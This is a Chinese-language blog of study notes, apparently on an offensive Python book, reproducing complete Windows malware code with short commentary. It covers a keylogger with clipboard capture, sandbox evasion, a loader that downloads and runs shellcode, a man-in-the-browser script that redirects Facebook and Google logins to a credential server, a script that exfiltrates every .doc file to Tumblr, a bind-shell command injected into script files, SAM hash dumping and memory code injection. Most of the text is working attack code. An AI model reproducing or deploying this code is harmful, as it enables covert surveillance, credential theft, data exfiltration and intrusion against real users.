動機
這是對我來說最hardcore的部分 都沒接觸過啊
windows system programming memory forensics code injection (binary & shell code)
超hardcode
CH8
主要是讓大家看看ctypes與pyhook的操作
ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.
The pyHook package provides callbacks for global mouse and keyboard events in Windows. Python applications register event handlers for user input events such as left mouse down, left mouse up, key down, etc. and set the keyboard and/or mouse hook
keylogger.py
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer(b'\x00' * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
# now read it's title
window_title = create_string_buffer(b'\x00' * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# print out the header if we're in the right process
print()
print("[ PID: %s - %s - %s ]" % (process_id,
executable.value,
window_title.value)
)
print()
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end=' ')
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("[PASTE] - %s" % pasted_value, end=' ')
else:
print("[%s]" % event.Key, end=' ')
# pass execution to next hook registered
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()
就是掛callback這沒問題
但要注意的是handler
可以看成windows programming的參考(或是ptr)
screenshotter.py
import win32gui
import win32ui
import win32con
import win32api
# grab a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()
# determine the size of all monitors in pixels
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# create a device context
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()
# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
Device Contexts(DC)就是呈現(或放置)圖像的地方 這code有三個DC
- desktop
- memory(放圖的地方)
- bitmap(圖檔)
詳細的Device Contexts要搭配GDI programming來看
整個流程是 desktop -> memory -> bitmap -> .bmp
sandbox_detect.py
import ctypes
import random
import time
import sys
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
keystrokes = 0
mouse_clicks = 0
double_clicks = 0
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
# get last input registered
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
# now determine how long the machine has been running
run_time = kernel32.GetTickCount()
elapsed = run_time - struct_lastinputinfo.dwTime
print("[*] It's been %d milliseconds since the last input event." % elapsed)
return elapsed
def get_key_press():
global mouse_clicks
global keystrokes
for i in range(0, 0xff):
if user32.GetAsyncKeyState(i) == -32767:
# 0x1 is the code for a left mouse click
if i == 1:
mouse_clicks += 1
return time.time()
else:
keystrokes += 1
return None
def detect_sandbox():
global mouse_clicks
global keystrokes
max_keystrokes = random.randint(10, 25)
max_mouse_clicks = random.randint(5, 25)
double_clicks = 0
max_double_clicks = 10
double_click_threshold = 0.250
first_double_click = None
average_mousetime = 0
max_input_threshold = 30000
previous_timestamp = None
detection_complete = False
last_input = get_last_input()
# if we hit our threshold let's bail out
if last_input >= max_input_threshold:
sys.exit(0)
while not detection_complete:
keypress_time = get_key_press()
if keypress_time is not None and previous_timestamp is not None:
# calculate the time between double clicks
elapsed = keypress_time - previous_timestamp
# the user double clicked
if elapsed <= double_click_threshold:
double_clicks += 1
if first_double_click is None:
# grab the timestamp of the first double click
first_double_click = time.time()
else:
# did they try to emulate a rapid succession of clicks?
if double_clicks == max_double_clicks:
if keypress_time - first_double_click <= (
max_double_clicks * double_click_threshold):
sys.exit(0)
# we are happy there's enough user input
if keystrokes >= max_keystrokes \
and double_clicks >= max_double_clicks \
and mouse_clicks >= max_mouse_clicks:
return
previous_timestamp = keypress_time
elif keypress_time is not None:
previous_timestamp = keypress_time
detect_sandbox()
print("We are ok!")
用按鍵次數來判斷我們是不是在sanbox中,因為sandbox通常是自動化操作 所以按鍵次數相對固定
有趣的是這裡處理按鍵是用ctypes硬幹,其實也可以用pyhooks
shell_exec.py
import base64
import ctypes
import urllib.request
# retrieve the shellcode from our web server
url = "http://localhost:8000/shellcode.bin"
response = urllib.request.urlopen(url)
# decode the shellcode from base64
shellcode = base64.b64decode(response.read())
# create a buffer in memory
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# create a function pointer to our shellcode
shellcode_func = ctypes.cast(shellcode_buffer,
ctypes.CFUNCTYPE(ctypes.c_void_p))
# call our shellcode
shellcode_func()
把bytes傳型成CFUNCTYPE來執行 很有趣!!
不過要怎麼產生.bin? 參考CANVAS或是Metasploits
CH9
CLE automation?? mitb.py
import time
import urllib.parse
import win32com.client
data_receiver = "http://localhost:8080/"
target_sites = {
"www.facebook.com":
{
"logout_url": None,
"logout_form": "logout_form",
"login_form_index": 0,
"owned": False
},
"accounts.google.com":
{
"logout_url": "https://accounts.google.com/Logout?hl=en&continue="
"https://accounts.google.com/"
"ServiceLogin%3Fservice%3Dmail",
"logout_form": None,
"login_form_index": 0,
"owned": False
}
}
target_sites["www.gmail.com"] = target_sites["accounts.google.com"]
target_sites["mail.google.com"] = target_sites["accounts.google.com"]
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
windows = win32com.client.Dispatch(clsid)
def wait_for_browser(browser):
# wait for the browser to finish loading a page
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1)
return
while True:
for browser in windows:
url = urllib.parse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
if target_sites[url.hostname]["owned"]:
continue
# if there is a URL we can just redirect
if target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(browser)
else:
# retrieve all elements in the document
full_doc = browser.Document.all
# iterate looking for the logout form
for i in full_doc:
try:
# find the logout form and submit it
if i.id == target_sites[url.hostname]["logout_form"]:
i.submit()
wait_for_browser(browser)
except:
pass
try:
# now we modify the login form
login_index = target_sites[url.hostname]["login_form_index"]
login_page = urllib.parse.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s" % (
data_receiver, login_page)
target_sites[url.hostname]["owned"] = True
except:
pass
time.sleep(5)
這邊的想法是,先把user給logout,再把登入的request傳送到自己的http server來顯示資料,在forward到原本的server
這邊是攔截ie的資料,那要ie幫忙的方法就是OLE Automation
就是
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' # 可以當成程式在windows的是識別碼,就是座號啦
# 如何拿clsid?
# https://www.c-sharpcorner.com/blogs/how-to-find-clsid-of-a-dll
windows = win32com.client.Dispatch(clsid) # 註冊OLE automation
這兩行做的事
ie_exfil.py
import win32com.client
import os
import fnmatch
import time
import random
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
doc_type = ".doc"
username = "test@test.com"
password = "testpassword"
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyXUTgFoL/2EPKoN31l5T
lak7VxhdusNCWQKDfcN5Jj45GQ1oZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+T
h/zlVPjp0hgC6nOKOuwmlQ1jGvfVvaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls
2N7Pu5N1FLRW5PMhk6GW5rzVhwdDvnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79
ix4qXwYLe66CrgCHDf4oBJ/nO1oYwelxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6
YLZuR2u5KUbr9uabEzgtrLyOeoK8UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS
1wIDAQAB
-----END PUBLIC KEY-----"""
def wait_for_browser(browser):
# wait for the browser to finish loading a page
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1)
return
def encrypt_string(plaintext):
chunk_size = 208
if isinstance(plaintext, (str)):
plaintext = plaintext.encode()
print("Compressing: %d bytes" % len(plaintext))
plaintext = zlib.compress(plaintext)
print("Encrypting %d bytes" % len(plaintext))
rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey)
encrypted = b""
offset = 0
while offset < len(plaintext):
chunk = plaintext[offset:offset + chunk_size]
if len(chunk) % chunk_size != 0:
chunk += b" " * (chunk_size - len(chunk))
encrypted += rsakey.encrypt(chunk)
offset += chunk_size
encrypted = base64.b64encode(encrypted)
print("Base64 encoded crypto: %d" % len(encrypted))
return encrypted
def encrypt_post(filename):
# open and read the file
fd = open(filename, "rb")
contents = fd.read()
fd.close()
encrypted_title = encrypt_string(filename)
encrypted_body = encrypt_string(contents)
return encrypted_title, encrypted_body
def random_sleep():
time.sleep(random.randint(5, 10))
return
def login_to_tumblr(ie):
# retrieve all elements in the document
full_doc = ie.Document.all
# iterate looking for the logout form
for i in full_doc:
if i.id == "signup_email":
i.setAttribute("value", username)
elif i.id == "signup_password":
i.setAttribute("value", password)
random_sleep()
# you can be presented with different homepages
try:
if ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()
else:
ie.Document.forms[1].submit()
except IndexError:
pass
random_sleep()
# the login form is the second form on the page
wait_for_browser(ie)
return
def post_to_tumblr(ie, title, post):
full_doc = ie.Document.all
for i in full_doc:
if i.id == "post_one":
i.setAttribute("value", title)
title_box = i
i.focus()
elif i.id == "post_two":
i.setAttribute("innerHTML", post)
print("Set text area")
i.focus()
elif i.id == "create_post":
print("Found post button")
post_form = i
i.focus()
# move focus away from the main content box
random_sleep()
title_box.focus()
random_sleep()
# post the form
post_form.children[0].click()
wait_for_browser(ie)
random_sleep()
return
def exfiltrate(document_path):
ie = win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible = 1
# head to tumblr and login
ie.Navigate("http://www.tumblr.com/login")
wait_for_browser(ie)
print("Logging in...")
login_to_tumblr(ie)
print("Logged in...navigating")
ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie)
# encrypt the file
title, body = encrypt_post(document_path)
print("Creating new post...")
post_to_tumblr(ie, title, body)
print("Posted!")
# Destroy the IE instance
ie.Quit()
ie = None
return
# main loop for document discovery
for parent, directories, filenames in os.walk("C:\\"):
for filename in fnmatch.filter(filenames, "*%s" % doc_type):
document_path = os.path.join(parent, filename)
print("Found: %s" % document_path)
exfiltrate(document_path)
input("Continue?")
加密filepath,po到tumblr去
keygen.py & decryptor.py
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
new_key = RSA.generate(2048)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")
encrypted = """XxfaX7nfQ48K...................G2V+2zuq6ol8Cs="""
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyXUTgFoL/2EPKoN31l5Tlak7VxhdusNCWQKDfcN5Jj45GQ1o
...................................
vOGHt9D9yo3DOhyvJbedpi3u3g13G+FZFw6d1T8Jzm5eZUvG7WeUtg==
-----END RSA PRIVATE KEY-----"""
rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted)
while offset < len(encrypted):
decrypted += rsakey.decrypt(encrypted[offset:offset + 256])
offset += 256
# now we decompress to original
plaintext = zlib.decompress(decrypted)
print(plaintext)
就是加解密,原本是兩個檔案,但因為這很好理解他們想幹嘛,同時又都不長,就合併在一起了
cred_server.py
import http.server
import socketserver
import urllib.error
import urllib.parse
import urllib.request
class CredRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print(creds)
site = self.path[1:]
self.send_response(301)
self.send_header('Location', urllib.parse.unquote(site))
self.end_headers()
server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
server.serve_forever()
就是會顯示request的http server
CH10
這裡的目的是找出
高權限process會使用的檔案,但其檔案可以被低權限的使用者取用的檔案
以此繞過權限管制
下面的兩個code就是分別
- 找出高權限(有趣的)process
- 當檔案被修改時插入我們的code
process_monitor.py
import win32con
import win32api
import win32security
import wmi
import os
LOG_FILE = "process_monitor_log.csv"
def get_process_privileges(pid):
try:
# obtain a handle to the target process
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,
False,
pid)
# open the main process token
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
# retrieve the list of privileges enabled
privs = win32security.GetTokenInformation(
htok,
win32security.TokenPrivileges)
# iterate over privileges and output the ones that are enabled
priv_list = []
for priv_id, priv_flags in privs:
# check if the privilege is enabled
if priv_flags == 3:
priv_list.append(
win32security.LookupPrivilegeName(None, priv_id))
except:
priv_list.append("N/A")
return "|".join(priv_list)
def log_to_file(message):
fd = open(LOG_FILE, "ab")
fd.write("%s\r\n" % message)
fd.close()
return
# create a log file header
if not os.path.isfile(LOG_FILE):
log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges")
# instantiate the WMI interface
c = wmi.WMI()
# create our process monitor
process_watcher = c.Win32_Process.watch_for("creation")
while True:
try:
new_process = process_watcher()
proc_owner = new_process.GetOwner()
proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
privileges = get_process_privileges(pid)
process_log_message = "%s,%s,%s,%s,%s,%s,%s" % (
create_date, proc_owner, executable, cmdline, pid, parent_pid,
privileges)
print("%s\r\n" % process_log_message)
log_to_file(process_log_message)
except:
pass
把所有新產生的process的權限列出來 這邊使用的是windows WMI API
這邊有一些有趣的權限,但就不列出詳細的作用(懶)
- SeBackupPrivilege
- SeDebugPrivilege
- SeLoadDriver
file_monitor.py
# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import tempfile
import threading
import win32file
import win32con
import os
# these are the common temp file directories
dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()]
# file modification constants
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
# extension based code snippets to inject
file_types = {}
command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n",
"\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"
% command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command]
def inject_code(full_filename, extension, contents):
# is our marker already in the file?
if file_types[extension][0] in contents:
return
# no marker let's inject the marker and code
full_contents = file_types[extension][0]
full_contents += file_types[extension][1]
full_contents += contents
fd = open(full_filename, "wb")
fd.write(full_contents.encode())
fd.close()
print("[\o/] Injected code.")
return
def start_monitor(path_to_watch):
# we create a thread for each monitoring run
file_list_directory = 0x0001
h_directory = win32file.CreateFile(
path_to_watch,
file_list_directory,
win32con.FILE_SHARE_READ
| win32con.FILE_SHARE_WRITE
| win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action, file_name in results:
full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print("[ + ] Created %s" % full_filename)
elif action == FILE_DELETED:
print("[ - ] Deleted %s" % full_filename)
elif action == FILE_MODIFIED:
print("[ * ] Modified %s" % full_filename)
# dump out the file contents
print("[vvv] Dumping contents...")
try:
fd = open(full_filename, "rb")
contents = fd.read()
fd.close()
print(contents)
print("[^^^] Dump complete.")
filename, extension = os.path.splitext(full_filename)
if extension in file_types:
inject_code(full_filename, extension, contents)
except:
print("[!!!] Failed.")
elif action == FILE_RENAMED_FROM:
print("[ > ] Renamed from: %s" % full_filename)
elif action == FILE_RENAMED_TO:
print("[ < ] Renamed to: %s" % full_filename)
else:
print("[???] Unknown: %s" % full_filename)
except:
pass
for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor, args=(path,))
print("Spawning monitoring thread for path: %s" % path)
monitor_thread.start()
當script file被改的時候,插入我們的code
CH11
示範Volatility的使用 這裡是利用Volatility針對惡意程式分析的tutorial
grabhashes.py
import sys
import volatility.conf as conf
import volatility.registry as registry
import volatility.commands as commands
import volatility.addrspace as addrspace
from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump
memory_file = "WinXPSP2.vmem"
sys.path.append("/Downloads/volatility-2.3.1")
registry.PluginImporter()
config = conf.ConfObject()
config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)
registry = RegistryApi(config)
registry.populate_offsets()
sam_offset = None
sys_offset = None
for offset in registry.all_offsets:
if registry.all_offsets[offset].endswith("\\SAM"):
sam_offset = offset
print("[*] SAM: 0x%08x" % offset)
if registry.all_offsets[offset].endswith("\\system"):
sys_offset = offset
print("[*] System: 0x%08x" % offset)
if sam_offset is not None and sys_offset is not None:
config.sys_offset = sys_offset
config.sam_offset = sam_offset
hashdump = HashDump(config)
for hash in hashdump.calculate():
print(hash)
break
if sam_offset is None or sys_offset is None:
print("[*] Failed to find the system or SAM offsets.")
windows的本機密碼放在SAM registry hive 開機金鑰放在system registry hive
用指令會是
python vol.py imageinfo -f "memdump.img" # get suggested profile
python vol.py hivelist --profile="WinXPSP2x86" -f "memdump.vmem"
# Virual Physical Name
# ------ -------- ----
# ...
# abc def \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
# ghi jkl \Device\HarddiskVolume1\WINDOWS\system32\config\system
# ...
python vol.py hashdump --profile="WinXPSP2x86" -f "memdump.vmem" -y ghi -s abc
codecoverage.py
from immlib import *
class CcHook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self)
self.imm = Debugger()
def run(self, regs):
self.imm.log("%08x" % regs['EIP'], regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])
return
def main(args):
imm = Debugger()
calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())
functions = imm.getAllFunctions(calc.getCodebase())
hooker = CcHook()
for function in functions:
hooker.add("%08x" % function, function)
return "Tracking %d functions." % len(functions)
這個是為了找出特定function的記憶體位置
利用Immunity Debugger的breakpoint把記憶體位置在中斷時列出來
使用方法!code_coverage
code_inject.py
import sys
import struct
import volatility.conf as conf
import volatility.registry as registry
import volatility.commands as commands
import volatility.addrspace as addrspace
import volatility.plugins.taskmods as taskmods
equals_button = 0x01005D51 # from codecoverage.py
memory_file = "/Users/justin/Documents/Virtual Machines.localized/" \
"Windows Server 2003 Standard Edition.vmwarevm/" \
"564d9400-1cb2-63d6-722b-4ebe61759abd.vmem"
slack_space = None
trampoline_offset = None
# read in our shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()
sys.path.append("/Downloads/volatility-2.3.1")
registry.PluginImporter()
config = conf.ConfObject()
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE = "Win2003SP2x86"
config.LOCATION = "file://%s" % memory_file
p = taskmods.PSList(config) # Print all running processes by following the EPROCESS lists.
for process in p.calculate():
if str(process.ImageFileName) == "calc.exe":
print("[*] Found calc.exe with PID %d" % process.UniqueProcessId)
print("[*] Hunting for physical offsets...please wait.")
address_space = process.get_process_address_space()
pages = address_space.get_available_pages()
for page in pages:
physical = address_space.vtop(page[0]) # page[0]是位置 page[1]是大小
if physical is not None:
if slack_space is None:
fd = open(memory_file, "r+")
fd.seek(physical)
buf = fd.read(page[1])
try:
offset = buf.index("\x00" * len(sc))
slack_space = page[0] + offset
print("[*] Found good shellcode location!")
print("[*] Virtual address: 0x%08x" % slack_space)
print("[*] Physical address: 0x%08x" % (
physical + offset))
print("[*] Injecting shellcode.")
fd.seek(physical + offset)
fd.write(sc.decode())
fd.flush()
# create our trampoline
tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
tramp += "\xff\xe3"
# mov ebx, ADDR_OF_SHELLCODE
# jmp ebx
if trampoline_offset is not None:
break
except:
pass
fd.close()
# check for our target code location
if page[0] <= equals_button < ((page[0] + page[1]) - 7):
# calculate virtual offset
v_offset = equals_button - page[0]
# now calculate physical offset
trampoline_offset = physical + v_offset
print("[*] Found our trampoline target at: 0x%08x" % (
trampoline_offset))
if slack_space is not None:
break
print("[*] Writing trampoline...")
fd = open(memory_file, "r+")
fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()
print("[*] Done injecting code.")
這是針對vm的記憶體快照的code injection 流程如下
- 找calc.exe
- 找適合放的空記憶體的起始位置
- 放轉跳的code